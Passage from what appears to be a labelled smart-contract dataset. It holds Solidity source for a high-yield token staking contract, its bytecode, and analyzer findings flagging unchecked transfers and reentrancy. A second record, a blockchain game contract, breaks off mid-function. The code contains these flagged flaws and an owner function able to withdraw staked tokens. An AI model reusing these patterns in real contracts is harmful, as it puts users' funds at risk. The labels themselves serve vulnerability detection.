function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
contract ADR_MAKER is Ownable {
using SafeMath for uint;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint amount);
// ADR token contract address
address public constant tokenAddress = 0xc990902073F97c3FA3705123364C51d00495107A;
// reward rate 1380% per year
uint public constant rewardRate = 138000;
uint public constant rewardInterval = 365 days;
// unstaking possible after 7 days
uint public constant cliffTime = 7 days;
uint public totalClaimedRewards = 0;
EnumerableSet.AddressSet private holders;
mapping (address => uint) public depositedTokens;
mapping (address => uint) public stakingTime;
mapping (address => uint) public lastClaimedTime;
mapping (address => uint) public totalEarnedTokens;
function updateAccount(address account) private {
uint pendingDivs = getPendingDivs(account);
if (pendingDivs > 0) {
require(Token(tokenAddress).transfer(account, pendingDivs), "Could not transfer tokens.");
totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivs);
totalClaimedRewards = totalClaimedRewards.add(pendingDivs);
emit RewardsTransferred(account, pendingDivs);
}
lastClaimedTime[account] = now;
}
function getPendingDivs(address _holder) public view returns (uint) {
if (!holders.contains(_holder)) return 0;
if (depositedTokens[_holder] == 0) return 0;
uint timeDiff = now.sub(lastClaimedTime[_holder]);
uint stakedAmount = depositedTokens[_holder];
uint pendingDivs = stakedAmount
.mul(rewardRate)
.mul(timeDiff)
.div(rewardInterval)
.div(1e4);
return pendingDivs;
}
function getNumberOfHolders() public view returns (uint) {
return holders.length();
}
function deposit(uint amountToStake) public {
require(amountToStake > 150000000000000000000, "150 ADR min!");
require(Token(tokenAddress).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance");
updateAccount(msg.sender);
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountToStake);
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
stakingTime[msg.sender] = now;
}
}
function withdraw(uint amountToWithdraw) public {
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
require(now.sub(stakingTime[msg.sender]) > cliffTime, "You recently staked, please wait before withdrawing.");
updateAccount(msg.sender);
require(Token(tokenAddress).transfer(msg.sender, amountToWithdraw), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function claimDivs() public {
updateAccount(msg.sender);
}
uint private constant stakingAndDaoTokens = 13200e18;
function getStakingAndDaoAmount() public view returns (uint) {
if (totalClaimedRewards >= stakingAndDaoTokens) {
return 0;
}
uint remaining = stakingAndDaoTokens.sub(totalClaimedRewards);
return remaining;
}
// function to allow admin to claim *any* ERC20 tokens sent to this contract
function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
if (_tokenAddr == tokenAddress) {
totalClaimedRewards = totalClaimedRewards.add(_amount);
}
Token(_tokenAddr).transfer(_to, _amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106101165760003560e01c80638da5cb5b116100a2578063bec4de3f11610071578063bec4de3f146103d7578063c326bf4f146103f5578063d578ceab1461044d578063f2fde38b1461046b578063f3f91fa0146104af57610116565b80638da5cb5b146102e957806398896d101461031d5780639d76ea5814610375578063b6b55f25146103a957610116565b8063308feec3116100e9578063308feec31461018f578063583d42fd146101ad5780636270cd18146102055780636a395ccb1461025d5780637b0a47ee146102cb57610116565b80630f1a64441461011b57806319aa70e714610139578063268cab49146101435780632e1a7d4d14610161575b600080fd5b610123610507565b6040518082815260200191505060405180910390f35b61014161050e565b005b61014b610519565b6040518082815260200191505060405180910390f35b61018d6004803603602081101561017757600080fd5b8101908080359060200190929190505050610562565b005b610197610910565b6040518082815260200191505060405180910390f35b6101ef600480360360208110156101c357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610921565b6040518082815260200191505060405180910390f35b6102476004803603602081101561021b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610939565b6040518082815260200191505060405180910390f35b6102c96004803603606081101561027357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610951565b005b6102d3610abf565b6040518082815260200191505060405180910390f35b6102f1610ac6565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61035f6004803603602081101561033357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aea565b6040518082815260200191505060405180910390f35b61037d610c5a565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103d5600480360360208110156103bf57600080fd5b8101908080359060200190929190505050610c72565b005b6103df610f53565b6040518082815260200191505060405180910390f35b6104376004803603602081101561040b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f5b565b6040518082815260200191505060405180910390f35b610455610f73565b6040518082815260200191505060405180910390f35b6104ad6004803603602081101561048157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f79565b005b6104f1600480360360208110156104c557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110c8565b6040518082815260200191505060405180910390f35b62093a8081565b610517336110e0565b565b60006902cb92cc8f671440000060015410610537576000905061055f565b60006105586001546902cb92cc8f671440000061137690919063ffffffff16565b9050809150505b90565b80600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610617576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f496e76616c696420616d6f756e7420746f20776974686472617700000000000081525060200191505060405180910390fd5b62093a8061066d600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020544261137690919063ffffffff16565b116106c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260348152602001806116236034913960400191505060405180910390fd5b6106cc336110e0565b73c990902073f97c3fa3705123364c51d00495107a73ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561075157600080fd5b505af1158015610765573d6000803e3d6000fd5b505050506040513d602081101561077b57600080fd5b81019080805190602001909291905050506107fe576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b61085081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461137690919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108a733600261138d90919063ffffffff16565b80156108f257506000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b1561090d5761090b3360026113bd90919063ffffffff16565b505b50565b600061091c60026113ed565b905090565b60056020528060005260406000206000915090505481565b60076020528060005260406000206000915090505481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109a957600080fd5b73c990902073f97c3fa3705123364c51d00495107a73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a0d57610a068160015461140290919063ffffffff16565b6001819055505b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610a7e57600080fd5b505af1158015610a92573d6000803e3d6000fd5b505050506040513d6020811015610aa857600080fd5b810190808051906020019092919050505050505050565b62021b1081565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610b0082600261138d90919063ffffffff16565b610b0d5760009050610c55565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415610b5e5760009050610c55565b6000610bb2600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020544261137690919063ffffffff16565b90506000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000610c4c612710610c3e6301e13380610c3087610c2262021b108961141e90919063ffffffff16565b61141e90919063ffffffff16565b61144d90919063ffffffff16565b61144d90919063ffffffff16565b90508093505050505b919050565b73c990902073f97c3fa3705123364c51d00495107a81565b680821ab0d44149800008111610cf0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f31353020414452206d696e21000000000000000000000000000000000000000081525060200191505060405180910390fd5b73c990902073f97c3fa3705123364c51d00495107a73ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015610d9357600080fd5b505af1158015610da7573d6000803e3d6000fd5b505050506040513d6020811015610dbd57600080fd5b8101908080519060200190929190505050610e40576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f496e73756666696369656e7420546f6b656e20416c6c6f77616e63650000000081525060200191505060405180910390fd5b610e49336110e0565b610e9b81600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461140290919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ef233600261138d90919063ffffffff16565b610f5057610f0a33600261146690919063ffffffff16565b5042600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b50565b6301e1338081565b60046020528060005260406000206000915090505481565b60015481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fd157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561100b57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60066020528060005260406000206000915090505481565b60006110eb82610aea565b9050600081111561132e5773c990902073f97c3fa3705123364c51d00495107a73ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561117b57600080fd5b505af115801561118f573d6000803e3d6000fd5b505050506040513d60208110156111a557600080fd5b8101908080519060200190929190505050611228576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b61127a81600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461140290919063ffffffff16565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112d28160015461140290919063ffffffff16565b6001819055507f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf1308282604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b42600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60008282111561138257fe5b818303905092915050565b60006113b5836000018373ffffffffffffffffffffffffffffffffffffffff1660001b611496565b905092915050565b60006113e5836000018373ffffffffffffffffffffffffffffffffffffffff1660001b6114b9565b905092915050565b60006113fb826000016115a1565b9050919050565b60008082840190508381101561141457fe5b8091505092915050565b6000808284029050600084148061143d57508284828161143a57fe5b04145b61144357fe5b8091505092915050565b60008082848161145957fe5b0490508091505092915050565b600061148e836000018373ffffffffffffffffffffffffffffffffffffffff1660001b6115b2565b905092915050565b600080836001016000848152602001908152602001600020541415905092915050565b60008083600101600084815260200190815260200160002054905060008114611595576000600182039050600060018660000180549050039050600086600001828154811061150457fe5b906000526020600020015490508087600001848154811061152157fe5b906000526020600020018190555060018301876001016000838152602001908152602001600020819055508660000180548061155957fe5b6001900381819060005260206000200160009055905586600101600087815260200190815260200160002060009055600194505050505061159b565b60009150505b92915050565b600081600001805490509050919050565b60006115be8383611496565b61161757826000018290806001815401808255809150506001900390600052602060002001600090919091909150558260000180549050836001016000848152602001908152602001600020819055506001905061161c565b600090505b9291505056fe596f7520726563656e746c79207374616b65642c20706c656173652077616974206265666f7265207769746864726177696e672ea2646970667358221220e674bdc82165a068d832f58e595b147d020ebc5639d61c1c55fb91f33153b78064736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,704 |
0x33201831496217a779bf6169038dd9232771f179
|
pragma solidity ^0.4.17;
contract AccessControl {
address public creatorAddress;
uint16 public totalSeraphims = 0;
mapping (address => bool) public seraphims;
bool public isMaintenanceMode = true;
modifier onlyCREATOR() {
require(msg.sender == creatorAddress);
_;
}
modifier onlySERAPHIM() {
require(seraphims[msg.sender] == true);
_;
}
modifier isContractActive {
require(!isMaintenanceMode);
_;
}
// Constructor
function AccessControl() public {
creatorAddress = msg.sender;
}
function addSERAPHIM(address _newSeraphim) onlyCREATOR public {
if (seraphims[_newSeraphim] == false) {
seraphims[_newSeraphim] = true;
totalSeraphims += 1;
}
}
function removeSERAPHIM(address _oldSeraphim) onlyCREATOR public {
if (seraphims[_oldSeraphim] == true) {
seraphims[_oldSeraphim] = false;
totalSeraphims -= 1;
}
}
function updateMaintenanceMode(bool _isMaintaining) onlyCREATOR public {
isMaintenanceMode = _isMaintaining;
}
}
contract IBattleboardData is AccessControl {
// write functions
function createBattleboard(uint prize, uint8 restrictions) onlySERAPHIM external returns (uint16);
function killMonster(uint16 battleboardId, uint8 monsterId) onlySERAPHIM external;
function createNullTile(uint16 _battleboardId) private ;
function createTile(uint16 _battleboardId, uint8 _tileType, uint8 _value, uint8 _position, uint32 _hp, uint16 _petPower, uint64 _angelId, uint64 _petId, address _owner, uint8 _team) onlySERAPHIM external returns (uint8);
function killTile(uint16 battleboardId, uint8 tileId) onlySERAPHIM external ;
function addTeamtoBoard(uint16 battleboardId, address owner, uint8 team) onlySERAPHIM external;
function setTilePosition (uint16 battleboardId, uint8 tileId, uint8 _positionTo) onlySERAPHIM public ;
function setTileHp(uint16 battleboardId, uint8 tileId, uint32 _hp) onlySERAPHIM external ;
function addMedalBurned(uint16 battleboardId) onlySERAPHIM external ;
function setLastMoveTime(uint16 battleboardId) onlySERAPHIM external ;
function iterateTurn(uint16 battleboardId) onlySERAPHIM external ;
function killBoard(uint16 battleboardId) onlySERAPHIM external ;
function clearAngelsFromBoard(uint16 battleboardId) private;
//Read functions
function getTileHp(uint16 battleboardId, uint8 tileId) constant external returns (uint32) ;
function getMedalsBurned(uint16 battleboardId) constant external returns (uint8) ;
function getTeam(uint16 battleboardId, uint8 tileId) external returns (uint8) ;
function getMaxFreeTeams() constant public returns (uint8);
function getBarrierNum(uint16 battleboardId) public constant returns (uint8) ;
function getTileFromBattleboard(uint16 battleboardId, uint8 tileId) public constant returns (uint8 tileType, uint8 value, uint8 id, uint8 position, uint32 hp, uint16 petPower, uint64 angelId, uint64 petId, bool isLive, address owner) ;
function getTileIDByOwner(uint16 battleboardId, address _owner) constant public returns (uint8) ;
function getPetbyTileId( uint16 battleboardId, uint8 tileId) constant public returns (uint64) ;
function getOwner (uint16 battleboardId, uint8 team, uint8 ownerNumber) constant external returns (address);
function getTileIDbyPosition(uint16 battleboardId, uint8 position) public constant returns (uint8) ;
function getPositionFromBattleboard(uint16 battleboardId, uint8 _position) public constant returns (uint8 tileType, uint8 value, uint8 id, uint8 position, uint32 hp, uint32 petPower, uint64 angelId, uint64 petId, bool isLive) ;
function getBattleboard(uint16 id) public constant returns (uint8 turn, bool isLive, uint prize, uint8 numTeams, uint8 numTiles, uint8 createdBarriers, uint8 restrictions, uint lastMoveTime, uint8 numTeams1, uint8 numTeams2, uint8 monster1, uint8 monster2) ;
function isBattleboardLive(uint16 battleboardId) constant public returns (bool);
function isTileLive(uint16 battleboardId, uint8 tileId) constant external returns (bool) ;
function getLastMoveTime(uint16 battleboardId) constant public returns (uint) ;
function getNumTilesFromBoard (uint16 _battleboardId) constant public returns (uint8) ;
function angelOnBattleboards(uint64 angelID) external constant returns (bool) ;
function getTurn(uint16 battleboardId) constant public returns (address) ;
function getNumTeams(uint16 battleboardId, uint8 team) public constant returns (uint8);
function getMonsters(uint16 BattleboardId) external constant returns (uint8 monster1, uint8 monster2) ;
function getTotalBattleboards() public constant returns (uint16) ;
}
contract BattleboardData is IBattleboardData {
/*** DATA TYPES ***/
//Most main pieces on the board are tiles.
struct Tile {
uint8 tileType;
uint8 value; //speed for angels, otherwise value of other types.
uint8 id;
uint8 position;
uint32 hp;
uint16 petPower;
uint8 team; //which team they are on.
uint64 angelId;
uint64 petId;
bool isLive;
address owner;
}
struct Battleboard {
uint8 turn; //turn number - turn 0 is the first player who enters the board.
address[] players;
bool isLive;
uint prize;
uint16 id;
uint8 numTeams; //number of angel/pet teams on the board, different than TEAM1 vs TEAM2
uint8 numTiles;
uint8 createdBarriers;
uint8 restrictions; //number of which angels can be added.
uint lastMoveTime;
address[] team1;
address[] team2; //addresses of the owners of teams 1 and 2
uint8 numTeams1;
uint8 numTeams2;
uint8 monster1; //tile number of the monster locations.
uint8 monster2;
uint8 medalsBurned;
}
//main storage
Battleboard [] Battleboards;
uint16 public totalBattleboards;
uint8 maxFreeTeams = 6;
uint8 maxPaidTeams = 4;
//Each angel can only be on one board at a time.
mapping (uint64 => bool) angelsOnBattleboards;
//Map the battleboard ID to an array of all tiles on that board.
mapping (uint32 => Tile[]) TilesonBoard;
//for each battleboardId(uint16) there is a number with the tileId of the tile. TileId 0 means blank.
mapping (uint16 => uint8 [64]) positionsTiles;
// write functions
function createBattleboard(uint prize, uint8 restrictions) onlySERAPHIM external returns (uint16) {
Battleboard memory battleboard;
battleboard.restrictions = restrictions;
battleboard.isLive = false; //will be live once ALL teams are added.
battleboard.prize = prize;
battleboard.id = totalBattleboards;
battleboard.numTeams = 0;
battleboard.lastMoveTime = now;
totalBattleboards += 1;
battleboard.numTiles = 0;
//set the monster positions
battleboard.monster1 = getRandomNumber(30,17,1);
battleboard.monster2 = getRandomNumber(48,31,2);
Battleboards.push(battleboard);
createNullTile(totalBattleboards-1);
return (totalBattleboards - 1);
}
function killMonster(uint16 battleboardId, uint8 monsterId) onlySERAPHIM external{
if (monsterId == 1) {
Battleboards[battleboardId].monster1 = 0;
}
if (monsterId ==2) {
Battleboards[battleboardId].monster2 = 0;
}
}
function createNullTile(uint16 _battleboardId) private {
//We need to create a tile with ID 0 that won't be on the board. This lets us know if any other tile is ID 0 then that means it's a blank tile.
if ((_battleboardId <0) || (_battleboardId > totalBattleboards)) {revert();}
Tile memory tile ;
tile.tileType = 0;
tile.id = 0;
tile.isLive = true;
TilesonBoard[_battleboardId].push(tile);
}
function createTile(uint16 _battleboardId, uint8 _tileType, uint8 _value, uint8 _position, uint32 _hp, uint16 _petPower, uint64 _angelId, uint64 _petId, address _owner, uint8 _team) onlySERAPHIM external returns (uint8) {
//main function to create a tile and add it to the board.
if ((_battleboardId <0) || (_battleboardId > totalBattleboards)) {revert();}
if ((angelsOnBattleboards[_angelId] == true) && (_angelId != 0)) {revert();}
angelsOnBattleboards[_angelId] = true;
Tile memory tile ;
tile.tileType = _tileType;
tile.value = _value;
tile.position= _position;
tile.hp = _hp;
Battleboards[_battleboardId].numTiles +=1;
tile.id = Battleboards[_battleboardId].numTiles;
positionsTiles[_battleboardId][_position+1] = tile.id;
tile.petPower = _petPower;
tile.angelId = _angelId;
tile.petId = _petId;
tile.owner = _owner;
tile.team = _team;
tile.isLive = true;
TilesonBoard[_battleboardId].push(tile);
return (Battleboards[_battleboardId].numTiles);
}
function killTile(uint16 battleboardId, uint8 tileId) onlySERAPHIM external {
TilesonBoard[battleboardId][tileId].isLive= false;
TilesonBoard[battleboardId][tileId].tileType= 0;
for (uint i =0; i< Battleboards[battleboardId].team1.length; i++) {
if (Battleboards[battleboardId].team1[i] == TilesonBoard[battleboardId][tileId].owner) {
//should be safe because a team can't be killed if there are 0 teams to kill.
Battleboards[battleboardId].numTeams1 -= 1;
}
}
for (i =0; i< Battleboards[battleboardId].team2.length; i++) {
if (Battleboards[battleboardId].team2[i] == TilesonBoard[battleboardId][tileId].owner) {
//should be safe because a team can't be killed if there are 0 teams to kill.
Battleboards[battleboardId].numTeams2 -= 1;
}
}
}
function addTeamtoBoard(uint16 battleboardId, address owner, uint8 team) onlySERAPHIM external {
//Can't add a team if the board is live, or if the board is already full of teams.
if (Battleboards[battleboardId].isLive == true) {revert();}
if ((Battleboards[battleboardId].prize == 0) &&(Battleboards[battleboardId].numTeams == maxFreeTeams)) {revert();}
if ((Battleboards[battleboardId].prize != 0) &&(Battleboards[battleboardId].numTeams == maxPaidTeams)) {revert();}
//only one team per address can be on the board.
for (uint i =0; i<Battleboards[battleboardId].numTeams; i++) {
if (Battleboards[battleboardId].players[i] == owner) {revert();}
}
Battleboards[battleboardId].numTeams += 1;
Battleboards[battleboardId].players.push(owner);
if (team == 1) {
Battleboards[battleboardId].numTeams1 += 1;
Battleboards[battleboardId].team1.push(owner);
}
if (team == 2) {
Battleboards[battleboardId].numTeams2 += 1;
Battleboards[battleboardId].team2.push(owner);
//if the board is now full, then go ahead and make it live.
if ((Battleboards[battleboardId].numTeams1 == 3) && (Battleboards[battleboardId].numTeams2 ==3)) {Battleboards[battleboardId].isLive = true;}
if ((Battleboards[battleboardId].prize != 0) &&(Battleboards[battleboardId].numTeams == maxPaidTeams)) {Battleboards[battleboardId].isLive = true;}
}
}
function setTilePosition (uint16 battleboardId, uint8 tileId, uint8 _positionTo) onlySERAPHIM public {
TilesonBoard[battleboardId][tileId].position= _positionTo;
positionsTiles[battleboardId][_positionTo+1] = tileId;
}
function setTileHp(uint16 battleboardId, uint8 tileId, uint32 _hp) onlySERAPHIM external {
TilesonBoard[battleboardId][tileId].hp = _hp;
}
function addMedalBurned(uint16 battleboardId) onlySERAPHIM external {
Battleboards[battleboardId].medalsBurned += 1;
}
function withdrawEther() onlyCREATOR external {
//shouldn't have any eth here but just in case.
creatorAddress.transfer(this.balance);
}
function setLastMoveTime(uint16 battleboardId) onlySERAPHIM external {
Battleboards[battleboardId].lastMoveTime = now;
}
function iterateTurn(uint16 battleboardId) onlySERAPHIM external {
if (Battleboards[battleboardId].turn == (Battleboards[battleboardId].players.length-1)) {
Battleboards[battleboardId].turn = 0;
}
else {Battleboards[battleboardId].turn += 1;}
}
function killBoard(uint16 battleboardId) onlySERAPHIM external {
Battleboards[battleboardId].isLive = false;
clearAngelsFromBoard(battleboardId);
}
function clearAngelsFromBoard(uint16 battleboardId) private {
//Free up angels to be used on other boards.
